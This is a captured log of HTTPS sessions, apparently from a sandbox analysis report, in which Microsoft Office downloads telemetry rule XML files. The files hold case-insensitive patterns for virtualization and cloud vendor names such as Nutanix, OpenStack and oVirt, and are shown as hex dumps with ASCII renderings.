Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a1cedf95-b01e-003d-7f9b-38d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-1866b5c5fbbg9tvxhC1DFWy9mg00000000q000000000pnnu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: fd06302c-e01e-0052-3f7f-38d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-1866b5c5fbbkcpv2hC1DFWf1yc000000055g000000000cx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-1866b5c5fbb7lvschC1DFW4rm000000004z000000000dka4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:27 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-16547b76f7fd4rc5hC1DFWkzhw000000055g00000000pn1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:27 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-16547b76f7ftnm6xhC1DFW9c8c00000004p00000000051d2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:27 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-16547b76f7fwcwmrhC1DFWtp0400000000x00000000074rs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:27 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232727Z-1866b5c5fbbfrdddhC1DFW7e9000000000z000000000ewww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:28 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:28 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232728Z-16547b76f7fffb7lhC1DFWdsxg000000055000000000b4p7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:28 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:28 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232728Z-1866b5c5fbbfkdfghC1DFW4sv4000000043g000000007z0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:28 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232728Z-1866b5c5fbbwlv6nhC1DFWw4bs00000003bg00000000k0wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:28 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:28 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232728Z-164f84587bfr8hdmhC1DFWt5nc0000000380000000008x77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:28 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:28 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:28 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232728Z-1866b5c5fbbfrdddhC1DFW7e900000000130000000003aqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:28 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 